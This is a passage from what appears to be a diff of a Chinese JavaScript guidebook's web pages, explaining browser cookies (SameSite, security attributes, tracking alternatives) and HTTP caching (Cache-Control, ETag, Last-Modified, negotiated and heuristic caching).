                        • lax:允许部分第三方请求携带 Cookie
                        • none:无论是否跨站都会发送 Cookie

                        之前默认是 none 的,Chrome80 后默认是 lax

                        首先要理解的一点就是跨站和跨域是不同的。同站(same-site)/ 跨站(cross-site)和第一方(first-party)/ 第三方(third-party)是等价的。但是与浏览器同源策略(SOP)中的同源(same-origin)/ 跨域(cross-origin)是完全不同的概念。

                        同源策略的同源是指两个 URL 的协议/主机名/端口一致。例如,https://www.taobao.com/pages/,它的协议是 HTTPS,主机名是 www.taobao.com,端口是 443。

                        同源策略作为浏览器的安全基石,其 同源 判断是比较严格的,相对而言,Cookie 中的 同站 判断就比较宽松:只要两个 URL 的 eTLD+1 相同即可,不需要考虑协议和端口。其中,eTLD 表示有效顶级域名,注册于 Mozilla 维护的公共后缀列表(Public Suffix List)中,例如,.com.co.uk.github.io 等。eTLD+1 则表示,有效顶级域名+二级域名,例如 taobao.com 等。

                        举几个例子,www.taobao.comwww.baidu.com 是跨站,www.a.taobao.comwww.b.taobao.com 是同站,a.github.iob.github.io 是跨站(注意是跨站)。

                        接下来看下从 None 改成 Lax 到底影响了哪些地方的 Cookies 的发送?直接来一个图表:

                        请求类型实例以前StrictLaxNone
                        链接<a href="..."></a>发送 Cookie不发送发送 Cookie发送 Cookie
                        预加载<link rel="prerender" href=""/>发送 Cookie不发送发送 Cookie发送 Cookie
                        GET 表单<from method="GET" action="">发送 Cookie不发送发送 Cookie发送 Cookie
                        POST 表单<from method="POST" action="">发送 Cookie不发送不发送发送 Cookie
                        iframe<iframe src="..."></iframe>发送 Cookie不发送不发送发送 Cookie
                        AJAX$.get("...")发送 Cookie不发送不发送发送 Cookie
                        Image<img src="...">发送 Cookie不发送不发送发送 Cookie

                        从上图可以看出,对大部分 Web 应用而言,Post 表单、iframe、AJAX、Image 这四种情况从以前的跨站会发送三方 Cookie,变成了不发送。

                        • Post 表单:应该的,学 CSRF 总会举表单的例子。
                        • iframe:iframe 嵌入的 web 应用有很多是跨站的,都会受到影响。
                        • AJAX:可能会影响部分前端取值的行为和结果。
                        • Image:图片一般放 CDN,大部分情况不需要 Cookie,故影响有限。但如果引用了需要鉴权的图片,可能会受到影响。

                        除了这些还有 script 的方式,这种方式也不会发送 Cookie,像淘宝的大部分请求都是 jsonp,如果涉及到跨站也有可能会被影响。

                        特性

                        1. 一个浏览器针对一个网站最多存 20 个 Cookie,浏览器一般只允许存放 300 个 Cookie
                        2. 每个 Cookie 的长度不能超过 4KB(稀缺)。但不同的浏览器实现的不同
                        3. Cookie 的不可跨域名性。
                        4. 浏览器的同源政策规定,两个网址只要域名和端口相同,就可以共享 Cookie。注意,这里不要求协议相同。

                        设置

                        服务端通过对客户端的网络请求的响应头,设置字段 Set-Cookie 进行设置 cookie。

                        • 一个 Set-Cookie 字段只能设置一个 Cookie,当你要设置多个 Cookie,需要添加同样多的 Set-Cookie 字段
                        • 服务端可以设置 Cookie 的所有选项:Expires、Domain、Path、Secure、HttpOnly

                        客户端可以设置 Cookie 的选贤:Expires、Domain、Path、Secure(有条件:只有在 HTTP 协议的网页中,客户端设置 Secure 类型的 Cookie 才能成功),但无法设置 HttpOnly 选项。

                        设置多个 Cookie:

                        document.cookie = 'name=Jonh';
                        document.cookie = 'age=12';
                        document.cookie = 'grade=111';

                        操作

                        发送

                        浏览器向服务器发送 HTTP 请求时,每个请求都会带上相应的 Cookie。 也就是说,把服务器早前保存在浏览器的这段信息,再发回服务器。 这时要使用 HTTP 头信息的 Cookie 字段。

                        读取

                        查看浏览器是否开启 Cookie 功能:

                        window.navigator.cookieEnabled;

                        获取当前网页的 Cookie:

                        document.cookie;

                        修改

                        Cookie 的修改只需要对 Cookie 进行重新赋值,旧的值即会被新的值所覆盖。但需要注意的是,在设置新的 Cookie 时,keydomainpathsecure 这几个选项一定要与旧 Cookie 保持一致。否则不会修改旧值,而是添加了一个新的 Cookie。

                        删除

                        Cookie 的删除同样需要对 Cookie 进行重新赋值,同时,将这个新的 Cookie 的 expires 选项设置为一个过去的时间点就行了。同样需要注意的是,keydomainpathsecure 这几个选项一定要与旧 Cookie 保持一致。

                        实现原理

                        Cookie 实际上是一小段的文本信息。客户端请求服务器,如果服务器需要记录该用户状态,就使用响应头向客户端器颁发一个 Cookie。客户端浏览器会把 Cookie 保存起来。当浏览器再请求该网站时,浏览器把请求的网址连同该 Cookie 一同提交给服务器。服务器检查该 Cookie,以此来辨认用户状态。服务器还可以根据需要修改 Cookie 的内容。

                        这个跟其实浏览器缓存类似:

                        1. 客户端在浏览器的地址栏中键入 Web 服务的 URL,浏览器发送读取网页的请求
                        2. 服务器接收到请求后,产生一个 Set-Cookie 报头,放在 HTTP 报文中一起回传客户端,发起一次会话
                        3. 客户端收到答应后,若要继续该次会话,则将 Set-Cookie 中的内容取出,形成一个 Cookie.txt 文件储存在客户端计算机里

                        安全问题

                        通常 Cookie 信息都是使用 HTTP 连接传递数据,这种传递方式很容易被查看,而且 JavaScript 里面直接有一个 document.Cookie 方法,可以直接获取到用户的 cookie,所以 Cookie 存储的信息容易被窃取。假如 Cookie 中所传递的内容比较重要,那么就要求使用加密的数据传输。

                        如何来防范 Cookie 的安全呢?有以下几种方法:

                        1. HttpOnly 属性:如果在 Cookie 中设置了 HttpOnly 属性,那么通过程序(JavaScript 脚本、Applet 等)将无法读取到 Cookie 信息,这样能有效的防止 XSS 攻击。
                        2. Secure 属性:当设置为 true 时,表示创建的 Cookie 会被以安全的形式向服务器传输,也就是只能在 HTTPS 连接中被浏览器传递到服务器端进行会话验证,如果是 HTTP 连接则不会传递该信息,所以不会被盗取到 Cookies 的具体内容。

                        登录时候用 Cookie 的话,安全性问题怎么解决?

                        第一种是:

                        把用户对象(包含了用户 ID、用户名、是否登录..)序列化成字符串再加密存入 cookie。

                        密钥是:客户端 IP + 浏览器 Agent + 用户标识 + 固定的私有密钥

                        当 Cookie 被窃取后,只要任一信息不匹配,就无法解密 Cookie,进而也就不能登录了。

                        这样做的缺点是 IP 不能变动、频繁加密解密会加重 CPU 负担

                        第二种是:

                        将用户的认证信息保存在一个 Cookie 中,具体如下:

                        1. Cookie 名:UID。推荐进行加密,比如 MD5(站点名称)等。
                        2. Cookie 值:登录名 | 有效时间 Expires | hash 值。
                          • hash 值可以由 登录名 + 有效时间 Expires + 用户密码(加密后的)的前几位 + Salt(Salt 是保证在服务器端站点配置文件中的随机数)

                        这样子设计有以下几个优点:

                        1. 即使数据库被盗了,盗用者还是无法登录到系统,因为组成 Cookie 值的 salt 是保证在服务器站点配置文件中而非数据库。
                        2. 如果账户被盗了,用户修改密码,可以使盗用者的 Cookie 值无效。
                        3. 如果服务器端的数据库被盗了,通过修改 salt 值可以使所有用户的 Cookie 值无效,迫使用户重新登录系统。
                        4. 有效时间 Expires 可以设置为 当前时间+过去时间(比如 2 天),这样可以保证每次登录的 Cookie 值都不一样,防止盗用者窥探到自己的 Cookie 值后作为后门,长期登录。

                        常用场景

                        Cookie 主要用来分辨两个请求是否来自同一浏览器,以及用来保存一些状态信息。

                        1. 会话管理(Session):保存登陆,购物车等需要记录的信息
                        2. 个性化:保存用户的偏好,如网页的背景色,字体大小等
                        3. 追踪:记录和分析用户行为

                        很多人用 Cookie 作为客户端的存储,虽然可行,但是并不推荐这种做法。

                        1. Cookie 设计初衷并非用于客户端存储,且可存储容量很小
                        2. 缺乏数据操作接口
                        3. 影响浏览器性能

                        客户端存储推荐使用 WebStorageAPI

                        替代方案

                        JWT

                        JSON Web Token(JWT)是一个自包含的信息包,可以用来存储用户标识以及认证信息。可以被用来代替 Session Cookie。和 Cookie 自动附加到每个 HTTP 请求的方式不一样,JWT 必须被 Web 应用明确指定附加到那个 HTTP 请求上。

                        HTTP 认证

                        HTTP 包含基本认证以及摘要认证协议,利用这些协议只有在提供了正确的用户名和密码后才能访问到 Web 页面。如果服务端需要类似的认证信息来确保 Web 页面的访问权限,那么浏览器每次页面请求的时候都要发送这些认证信息。这些认证信息也可以用来追踪用户。

                        IP 地址

                        有些用户可能会被基于访问页面的电脑 IP 地址追踪过,服务端知道当前正在运行浏览器的电脑的 IP 地址,理论上可以对这个 IP 地址关联一个用户 Session。

                        然后 IP 地址通常不是一个可靠的追踪 Session 或者标识用户的方法。许多电脑设计的时候就是为了让一个单独用户使用的,例如办公 PC,家庭 PC 会在网络地址转换协议下共享一个公共的 IP 地址。而且某些系统,例如 Tor 设计的时候就是为了保持匿名性的,利用 IP 地址追踪用户显然是不合适的,也是不可能的。

                        URL 查询字符串

                        一个更精确的技术是基于 URL 中嵌入信息。URL 中的查询字符串部分通常就是为了实现这个目的的,当然也可以使用其他部分。Java Servlet 和 PHP Session 机制都是使用这种机制,如果 Cookie 被禁止了。

                        这种方法由服务端在 Web 页面的所有链接中追加包含一个独立 Session 标识的查询字符串组成。当用户点击了其中了一个链接,浏览器把查询字符串传给服务端,允许服务端识别用户维持状态。

                        这些类型的查询字符串非常像 Cookie,都包含任意的信息供服务端选择,都会随请求返回给服务端。然而其中还是有点不同的。由于查询字符串是 URL 中的一部分,如果 URL 后面被重复发送了,那么上面附加的相同信息将会被发送到服务端,这样可能会产生混乱。例如,如果用户的偏好信息被放在了查询字符串中,用户把这个 URL 通过邮件发给了另一个用户,那么这些偏好信息就会变成另一个用户的。

                        而且如果相同用户从不同的源多次访问相同的页面,这样不能确保每次使用相同的查询字符串。例如,如果一个用户第一次通过一个页面的内部站点访问了一个页面,然后第二次又通过外部的搜索引擎访问到这个页面,这样查询字符串可能会不同。如果在这种情况下使用 Cookie,Cookie 可以是相同的。

                        使用查询字符串其他缺点就是安全问题。在查询字符串中存储标识 Session 的数据可以导致 Session 固定攻击, Referer 日志攻击以及其他安全漏洞。把 Session 标识转成 HTTP Cookie 更安全。

                        隐藏的表单字段

                        另一种会话跟踪是使用隐藏域的 Web 表单。这个技术很像使用 URL 查询字符串去保存信息,也有一些优点和缺点。事实上,如果通过 HTTP 的 GET 方法处理表单,那么这种技术就和使用 URL 查询字符串类似,因为 GET 方法会把表单字段作为查询字符串追加到 URL 后面。但是大部分表单都是通过 HTTP 的 POST 方法处理,这样表单信息包括隐藏的字段都会在 HTTP 请求体中发送,这样既不是 URL 中的一部分,也不是 Cookie 的一部分。

                        从追踪的角度来看这种方式有两种好处。第一,把追踪信息放在 HTTP 请求体中而不是 URL 中意味着它不会被普通用户察觉。第二,当用户复制 URL 的时候不会复制到 Session 信息。

                        Window.name DOM 属性

                        所有的现代浏览器都可以通过 JavaScript 使用 DOM 属性 window.name 存储一个相当大的数据(2-23M)。这个数据可以用来代替 Session Cookie 也是可以跨域的。这个技术可以和 JSON 对象一起使用来存储客户端上的复杂 Session 变量集合。

                        不足就是美国单独的窗口或者 Tab 页刚开始打开的时候会有一个空的 window.name 属性。而且,这个属性可以用来追踪不同站点的访问者。

                        在某些方面,这种方法可能比 Cookie 更加方便,因为它的内容不会像 Cookie 那样在每次请求的时候自动的发送给服务端,所以它不易收到网络 Cookie 嗅探攻击。然而如果不采用特殊的方法保护数据,它很容易受到其他攻击,因为数据可以被在同一个窗口或者 Tab 中打开的其他站点获取到。

                        广告主标识码

                        苹果使用了追踪技术称为 广告主标识码(IDFA)。这种技术会给每个购买苹果产品的用户分配一个唯一标识。这个唯一标识会被苹果网络广告系统使用,来确定用户正在查看或者回复的广告。

                        ETag

                        因为浏览器会缓存 ETags,然后在后续的请求相同资源时返回,追踪服务器可以简单的复制从浏览器接受的任意 ETag 来确保 ETag 长久留存(就像持久化 Cookie 一样)。增加缓存头也可以加强 ETag 数据的保存。

                        在某些浏览器中可以通过清理缓存来清除 ETag 数据。

                        web 存储

                        一些 Web 浏览器支持持久化机制,允许页面本地存储信息以后使用。

                        HTML5 标准(绝大多数现代浏览器在某种程度上都支持)包含了一个 JavaScript API 叫做 Web storage:Local Storage 和 Session Storage。Local Storage 的行为和持久化 Cookie 类似,而 Session Storage 的行为和 Session Cookie 的行为类似,也就是 Session Storage 是绑定在一个单独的 Tab 或者窗口的生命周期中的(也就是页面 Session),而 Session Cookie 是针对整个浏览器的。

                        IE 支持在浏览器历史中持久化信息,在浏览器的收藏夹中,以一个 XML 格式存储,或者直接在页面中存储到硬盘。

                        一些 Web 浏览器插件也包含持久化机制。例如 Flash 有 Local shared object,Silverlight 有 Isolated storage。

                        浏览器缓存

                        浏览器缓存也可以用来存储信息,利用这些信息也可以用来追踪用户。这项技术利用的真相是当浏览器判断出来缓存的已经是最新资源时可以利用缓存而不是重新从站点下载。

                        例如,一个站点托管了一个 JavaScript 文件,这个 JavaScript 文件可以给用户指定一个唯一标识(例如,var userId = 3243242)。只要用户访问之后,每次用户再访问这个页面时,这个文件都会从缓存中获取而不是从服务端获取。所以它的内容永远不会变。

                        浏览器指纹

                        浏览器指纹是指浏览器配置信息的集合,例如版本号,屏幕分辨率,操作系统。指纹信息可以用来完全或者部分标识独立用户或者设备,即使 Cookie 已经被关闭了。

                        基本的 Web 浏览器配置信息一直都在被 Web 分析服务搜集为了精确的统计真实网络流量和不同类型的点击欺诈。在客户端脚本的帮助下,搜集更多的参数也是有可能的。

                        参考资料

                        - + diff --git a/browser-object-model/offline-and-storage/http-cache/index.html b/browser-object-model/offline-and-storage/http-cache/index.html index a99086fd1..e306ff556 100644 --- a/browser-object-model/offline-and-storage/http-cache/index.html +++ b/browser-object-model/offline-and-storage/http-cache/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HTTP Cache - JavaScript Guidebook -

                        HTTP Cache

                        📖 快速目录:

                        缓存类型

                        浏览器与服务器通信的方式为应答模式,即:浏览器发起 HTTP 请求 – 服务器响应该请求

                        浏览器首次向服务器发起该请求后拿到请求结果,会根据响应报文中 HTTP 头的缓存标识,决定是否缓存结果,简单的过程如下图:

                        浏览器缓存过程分析

                        由上图我们可以知道:

                        • 浏览器每次发起请求,都会先在浏览器缓存中查找该请求的结果以及缓存标识
                        • 浏览器每次拿到返回的请求结果都会将该结果和缓存标识存入浏览器缓存中

                        以上两点结论就是浏览器缓存机制的关键,他确保了每个请求的缓存存入与读取,只要我们再理解浏览器缓存的使用规则,那么所有的问题都迎刃而解了,本文也将围绕着这点进行详细分析。

                        为了方便大家理解,这里我们根据是否需要向服务器重新发起 HTTP 请求将缓存过程分为两个部分,分别是强缓存协商缓存

                        强缓存如果命中缓存则不需要和服务器端发生交互,而协商缓存不管是否命中都要和服务器端发生交互。强缓存的优先级高于协商缓存。

                        HTTP 缓存HTTP 状态码缓存位置谁来决定是否有效
                        强缓存200本地浏览器本地浏览器F5 刷新无效,强制刷新无效
                        协商缓存304本地浏览器服务器F5 刷新有效,强制刷新无效

                        强缓存

                        强缓存就是向浏览器缓存查找该请求结果,并根据该结果的缓存规则来决定是否使用该缓存结果的过程

                        强缓存的情况主要有三种(暂不分析协商缓存过程)。

                        • 不存在该缓存结果和缓存标识,强制缓存失效,则直接向服务器发起请求(跟首次发起请求一致)
                        强制缓存失效向服务器请求
                        • 存在该缓存结果和缓存标识,但该结果已失效,强缓存失效,则使用协商缓存(暂不分析)
                        强制缓存失效使用协商缓存
                        • 存在该缓存结果和缓存标识,且该结果尚未失效,强制缓存生效,直接返回该结果
                        强制缓存失效

                        Age:23146
                        Cache-Control: max-age=2592000
                        Date: Tue, 28 Nov 2017 12:26:41 GMT
                        ETag: W/"5a1cf09a-63c6"
                        Expires: Thu, 28 Dec 2017 05:27:45 GMT
                        Last-Modified: Tue, 28 Nov 2017 05:14:02 GMT
                        Vary: Accept-Encoding

                        以上请求头来自百度首页某个 CSS 文件的响应头。我去除了一些和缓存无关的字段,只保留了以上部分。我们来分析下,Expires 是 HTTP/1.0 中的定义缓存的字段,它规定了缓存过期的一个绝对时间。Cache-Control 是 HTTP/1.1 定义的关于缓存的字段,max-age 为 Cache-Control 字段的其中一个指令,它规定了缓存过期的一个相对时间。

                        这就是强缓存阶段,当浏览器再次试图访问这个 CSS 文件,发现有这个文件的缓存,那么就会根据上一次的响应判断是否过期,如果没过期,则使用该缓存。

                        强缓存规则

                        强制缓存的缓存规则是什么?

                        当浏览器向服务器发起请求时,服务器会将缓存规则放入 HTPP 响应报文的响应头(HTTP Header)中和请求结果一起返回给浏览器,控制强制缓存的字段分别是 Expires 和 Cache-Control,其中 Cache-Control 优先级比 Expires 高。

                        ⚠️ 注意:强制缓存的过期时间通过第一次访问服务器时返回的响应头获取。在 HTTP/1.0 和 HTTP/1.1 版本中通过不同的响应头字段实现。

                        浏览器的缓存存放在哪里,如何在浏览器中判断强制缓存是否生效?

                        浏览器缓存位置

                        这里我们以博客的请求为例,状态码为灰色的请求则代表使用了强制缓存,请求对应的 Size 值则代表该缓存存放的位置,分别为 from memory cache  和  from disk cache

                        内存缓存(from memory cache)和硬盘缓存(from disk cache)对比

                        • 内存缓存(from memory cache):内存缓存具有两个特点,分别是快速读取时效性
                          • 快速读取:内存缓存会将编译解析后的文件,直接存入该进程的内存中,占据该进程的内存中,占据该进程一定的内存资源,以便下次运行使用时的快速读取
                          • 时效性:一旦该进程关闭,则该进程的内存则会清空
                        • 硬盘缓存(from disk cache):硬盘缓存则是直接将缓存写入硬盘文件中,读取缓存需要对该缓存存放的硬盘文件进行 I/O 操作,然后重新解析该缓存内容,读取复杂,速度比内存缓存慢。

                        在浏览器中,浏览器会在 JavaScript 脚本和图片等文件解析后直接存入内存缓存中,那么刷新页面时只需直接从内存缓存中读取(from memory cache);而 CSS 文件则会存入硬盘文件中,所以每次渲染页面都需要从硬盘读取缓存(from disk cache)。

                        强制缓存只有首次请求才会与服务器通信,读取缓存资源时不会发出任何请求,资源的  Status  状态码为  200,资源的  Size  为  from memory  或者  from disk ,HTTP1.1 版本的实现优先级会高于 HTTP/1.0 版本的实现。

                        强缓存首部字段

                        用于强缓存的首部字段包括 ExpiresCache-Control

                        Expires

                        Expires 字段用于告知客户端缓存资源过期失效的绝对时间,该字段值为 GMT 格式的时间字符串。

                        Expires: Tue, 01 Jan 2019 12:00:00 GMT
                        • 发起请求时间超过 Expires 设定时间,即表示资源缓存时间到期,会发送请求到服务器重新获取资源
                        • 发起请求时间在 Expires 设定时间之前,浏览器会直接读取本地缓存数据库中的信息(form memory 或 from disk)

                        同样可以在 HTML 文件里直接使用:

                        <meta http-equiv="expires" content="Thu, 30 Nov 2017 11:17:26 GMT" />

                        如果设置的时间是过去的时间,则刷新页面会重新发送请求。

                        🔴 弊端:Expires 控制缓存的原理是使用客户端的时间与服务端返回的时间做对比,如果如果客户端与服务端的时间因为某些原因(例如时区不同;客户端和服务的有一方的时间不准确)发生误差,那么强制缓存则会直接失效,这样的话强制缓存的存在则毫无意义,因此到了 HTTP/1.1,Expires 被 Cache-Control 替代。

                        Cache-Control

                        通过 Cache-Control 首部字段的指令可以控制告诉客户端或是服务器如何处理缓存。

                        指令参数说明
                        no-cache强制资源服务器再次验证
                        no-store不缓存请求或是响应的任何内容
                        max-age=[秒]缓存时长,单位是秒缓存的时长,也是响应的最大的 Age 值
                        min-fresh=[秒]必需期望在指定时间内响应仍然有效
                        no-transform代理不可更改媒体类型
                        only-if-cached从缓存获取
                        cache-extension-新的指令标记(token)

                        响应指令

                        指令参数说明
                        public任意一方都能缓存该资源(客户端、代理服务器等)
                        private可省略只能特定用户缓存该资源(仅客户端可以缓存,代理服务器不可缓存)
                        no-cache可省略缓存前必需先确认其有效性
                        no-store不缓存请求或响应的任何内容
                        no-transform代理不可更改媒体类型
                        must-revalidate可缓存但必须再向源服务器进行确认
                        proxy-revalidate要求中间缓存服务器(代理)对缓存的响应有效性再进行确认
                        max-age=[秒]缓存时长,单位是秒缓存的时长,也是响应的最大的 Age 值
                        s-maxage=[秒]必需公共缓存服务器响应的最大 Age 值
                        cache-extension-新指令标记(token)

                        ⚠️ 注意no-cache 指令很多人误以为是不缓存,这是不准确的,no-cache 的意思是可以缓存,但每次使用缓存前应该去向服务器验证缓存是否可用。no-store 才是不缓存内容。另外部分指令也可以组合使用。

                        Cache-Control: max-age=100, must-revalidate, public

                        上面指令的意思是缓存的有效时间为 100 秒,之后访问需要向服务器发送请求验证,此缓存可被代理服务器和客户端缓存。

                        一般来说,为了兼容,两个版本的强制缓存都会被实现。

                        Cache-Control

                        由上面的例子我们可以知道:

                        • HTTP 响应报文中 Expires 的时间值,是一个绝对值
                        • HTTP 响应报文中 Cache-Control 为 max-age=600,是相对值

                        由于 Cache-Control 的优先级比 Expires 高,那么直接根据 Cache-Control 的值进行缓存,意思就是说在 600 秒内再次发起该请求,则会直接使用缓存结果,强制缓存生效。

                        ⚠️ 注意:在无法确定客户端的时间是否与服务端的时间同步的情况下,Cache-Control 相比于 Expires 是更好的选择,所以同时存在时,只有 Cache-Control 生效。

                        协商缓存

                        协商缓存即强制缓存失效后,浏览器携带缓存标识向服务器发起请求,由服务器根据缓存标识决定是否使用缓存的过程。

                        而协商缓存与强制缓存的不同之处在于,协商缓存每次读取数据时都需要跟服务器通信,并且会增加缓存标识。

                        • 在第一次请求服务器时,服务器会返回资源,并且返回一个资源的缓存标识,一起存到浏览器的缓存数据库。
                        • 当第二次请求资源时,浏览器会首先将缓存标识发送给服务器,服务器拿到标识后判断标识是否匹配
                          • 如果缓存标识不匹配,表示资源有更新,服务器会将新数据和新的缓存标识一起返回到浏览器
                          • 如果缓存标识匹配,表示资源没有更新,并且返回 304 状态码,浏览器就读取本地缓存服务器中的数据。

                        • 协商缓存生效,返回 304
                        协商缓存生效返回304
                        • 协商缓存失效,返回 200 和请求结果
                        协商缓存失效返回200

                        协商缓存规则

                        在 HTTP 协议的 1.0 和 1.1 版本中也有不同的实现方式。

                        在 HTTP/1.0 版本中,首次请求资源时服务器通过 Last-Modified 来设置响应头的缓存标识,并且把资源最后修改的时间作为值填入,然后将资源返回给浏览器。当再次请求时,浏览器会首先带上 If-Modified-Since 请求头去访问服务器,服务器会将 If-Modified-Since 中携带的时间与资源修改的时间匹配。

                        • 如果时间不一致,服务器会返回新的资源,并且将 Last-Modified 值更新❗️,作为响应头返回给浏览器,状态码为 200,响应体 Body 中为修改后的资源内容。
                        • 如果时间一致,表示资源没有更新,服务器返回 304 状态码,浏览器拿到响应状态码后从本地缓存数据库中读取缓存资源。

                        🔴 弊端:这种方式有一个弊端,就是当服务器中的资源增加了一个字符,后来又把这个字符删掉,本身资源文件并没有发生变化,但修改时间发生了变化。当下次请求过来时,服务器也会把这个本来没有变化的资源重新返回给浏览器。

                        📌 因此,在 HTTP/1.1 版本中,使用 ETagIf-None-Match 作为缓存是否更新的标识。

                        当浏览器访问资源时,服务器会根据资源计算出一个哈希值,并随 ETag 响应头返回,当浏览器再次需要访问资源时,携带  If-None-Match  请求头,服务器再次计算该资源的 ETag 值。

                        • 如果资源有改变,则返回状态码 200 ,Body 为新的资源体。
                        • 如果资源没有改变,则返回状态码 304,Body 为空,并继续使用原有缓存。
                        响应头请求头可选值优先级优缺点
                        LastModifiedIf-Modified-SinceGMT 时间依次比较,排序靠后修改并不意味着改变;秒级判断
                        ETagIf-None-Match校验值依次比较,先比较使用系统默认的 Hash 算法,再分布式部署中会导致不同服务器的 ETag 值一直

                        协商缓存首部字段

                        协商缓存首部字段包括:

                        Last-Modified

                        Last-Modified 首部字段用于表示请求资源的最后一次修改时间,该字段值为 GMT 格式的时间字符串。该字段不光用于协商缓存,在启发式缓存阶段同样起到至关重要的作用。

                        在浏览器首次请求某个 URL 时,服务器端的返回状态码会是 200,响应的实体内容是客户端请求的资源,同时有一个 Last-Modified 的属性标记此文件在服务器端最后被修改的时间。

                        last-modified : Fri , 12 May 2006 18:53:33 GMT

                        Last-Modified

                        🔴 弊端:使用 Last-Modified 无法准确地判断资源是否真的被修改,比如某个文件在 1 秒内频繁更改了多次,或者当服务器中的资源增加了一个字符,后来又把这个字符删掉,资源文件本身的实际内容并没有发生变化,但修改时间却发生了变化,而当下次请求过来时,服务器也会把这个本来没有变化但最后修改时间已经变化了的资源重新返回给浏览器。

                        If-Modified-Since

                        当浏览器再次请求这个 URL 的时候,根据 HTTP 协议规定,浏览器会把上次请求返回的 Last-Modified 值存储在 If-Modified-Since 里面发送给服务端,告诉服务器该资源上次请求返回的最后被修改时间。服务器收到该请求后,发现请求头含有 If-Modified-Since 字段,则会根据 If-Modified-Since 的字段值与该资源在服务器的最后被修改时间来判断两次访问期间资源是否有被修改,从而决定是否返回完整的资源。

                        • 若服务器的资源最后被修改时间晚于 If-Modified-Since 的字段值(时间字符串),则重新返回资源,状态码为 200
                        • 否则则只返回响应头,状态码 304,代表资源无更新,告知浏览器资源的本地缓存仍可使用。
                        If-Modified-Since : Fri , 12 May 2006 18:53:33 GMT

                        If-Unmodified-Since

                        这个字段字面意思和 If-Modified-Since 相反,但处理方式并不是相反的。如果文件在两次访问期间没有被修改则返回 200 和网页资源,如果文件修改了则返回状态码 412(预处理错误)。

                        用途:

                        • 与含有 If-Range 消息头的范围请求搭配使用,实现断点续传的功能,即如果资源没修改继续下载,如果资源修改了,续传的意义就没有了。
                        • POST、PUT 请求中,优化并发控制,即当多用户编辑用一份文档的时候,如果服务器的资源已经被修改,那么在对其作出编辑会被拒绝提交。

                        ETag

                        ETag 表示服务端生成的资源唯一标识(比如 MD5 标识),是 Entity Tag(实体标签) 的缩写。HTTP/1.1 协议并没有规范该值如何生成,一般而言为该资源的散列值。

                        etag: W/"abc-123456"

                        ETag 的值有可能包含一个 W/ 前缀,来提示应该采用弱比较算法(这个是画蛇添足,因为 If-None-Match 用且仅用这一算法)。

                        If-None-Match

                        If-None-Match 是客户端再次发起该请求时,携带上次请求返回的唯一标识 ETag 值,通过此字段值告诉服务器该资源上次请求返回的唯一标识值,以判断缓存资源是否有效。

                        If-None-Match: abc-123456
                        • 对于 GET 或 HEAD 请求,当且仅当服务器上没有任何资源的 ETag 首部字段与这个首部中列出的相匹配的时候,服务器端才会返回所请求的资源,响应状态码为 200。如果没有资源的 ETag 值相匹配,那么返回 04 状态码。但是不管如何,都至少返回 Cache-Control、Content-Location、Date、ETag、Expires 和 Vary 中之一的字段。
                        • POST、PUT 等请求改变文件的请求,如果没有资源的 ETag 值相匹配,那么返回 412 状态码。

                        ⚠️ 注意:ETag / If-None-Match 优先级高于 Last-Modified / If-Modified-Since,同时存在则只有 ETag / If-None-Match 生效。

                        If-Match

                        表示条件请求,携带上一次请求中资源的 ETag,服务器根据这个字段判断文件是否有新的修改

                        在请求方法为 GET 和 HEAD 的情况下,服务器仅在请求的资源满足此首部列出的 ETag 之一时才会返回资源。而对于 PUT 或其它非安全方法来说,只有满足条件的情况下才可以将资源上传。

                        用途:

                        • For GET 和 HEAD 方法,搭配 Range 头字段使用,可以用来保证新请求的范围与之前请求的范围是对同一份资源的请求。如果 ETag 无法匹配,那么需要返回 416(范围请求无法满足)响应。
                        • 对于 PUT 或者其他不安全的请求,If-Match 首部可以用来避免更新丢失问题。它可以用来检测用户想要上传的不会覆盖获取原始资源之后做出的更新。如果请求的条件不满足,那么需要返回 412(预处理错误)响应。

                        当然和 Last-Modified 相比,ETag 也有自己的缺点,比如由于需要对资源进行生成标识,性能方面就势必有所牺牲。

                        关于强校验和弱校验:

                        ETag1ETag2Strong ComparisonWeak Comparison
                        W/"1"W/"1"no matchmatch
                        W/"1"W/"2"no matchno match
                        W/"1""1"no matchmatch
                        "1""1"matchmatch

                        ETag 主要为了解决 Last-Modified 无法解决的一些问题:

                        1. 一些文件也许会周期性的更改,但是他的内容并不改变(仅仅改变的修改时间),这个时候我们并不希望客户端认为这个文件被修改了
                        2. 某些文件修改非常频繁,比如在秒以下的时间内进行修改,(比方说 1 秒内修改了 N 次),Last-Modified 能检查到的粒度是秒级的,这种修改无法判断(或者说 UNIX 记录 MTIME 只能精确到秒)
                        3. 某些服务器不能精确的得到文件的最后修改时间

                        总的来说,ETag 是 Last-Modifed 的补充,比 Last-Modified 更加严谨。但设定了 Etag 之后,每次客户端发出请求,服务端都会根据资源重新生成一个 ETag,相对来说,对性能会有影响。

                        启发式缓存阶段

                        Age: 23146
                        Cache-Control: public
                        Date: Tue, 28 Nov 2017 12:26:41 GMT
                        Last-Modified: Tue, 28 Nov 2017 05:14:02 GMT
                        Vary: Accept-Encoding

                        如果 ExpiresCache-Control: max-ageCache-Control:s-maxage 都没有在响应头中出现,并且也没有其他缓存设置,那么浏览器默认会采用一个启发式算法,会根据响应头中两个个时间字段 Date 和 Last-Modified 之间的时间差值,取其值的 10% 作为缓存时间的周期。

                        这就是 启发式缓存阶段。这个阶段很容让人忽视,但实际上每时每刻都在发挥着作用。所以在今后的开发过程中如果遇到那种默认缓存的坑,不要叫嚣,不要生气,浏览器只是在遵循启发式缓存协议而已。

                        其他缓存字段

                        Pragma

                        Pragma 是 HTTP/1.1 之前版本遗留的通用首部字段,仅作为于 HTTP/1.0 的向后兼容而使用。虽然它是一个通用首部,但是它在响应报文中时的行为没有规范,依赖于浏览器的实现。RFC 中该字段只有 no-cache 一个可选值,会通知浏览器不直接使用缓存,要求向服务器发请求校验新鲜度。因为它优先级最高,当存在时一定不会命中强缓存。

                        Pragma 属于通用首部字段,在客户端上使用时,常规要求我们往 HTML 上加上上面这段 meta 元标签。

                        <meta http-equiv="Pragma" content="no-cache" />

                        事实上这种禁用缓存的形式用处很有限:

                        • 仅有 IE 才能识别这段 <meta> 标签含义,其它主流浏览器仅能识别 Cache-Control: no-store<meta>标签

                        • 在 IE 中识别到该 <meta> 标签含义,并不一定会在请求字段加上 Pragma,但的确会让当前页面每次都发新请求(仅限页面,页面上的资源则不受影响)。——浅谈浏览器 HTTP 的缓存机制

                        服务端响应添加 Progma: no-cache,浏览器表现行为和强制刷新类似。

                        Date

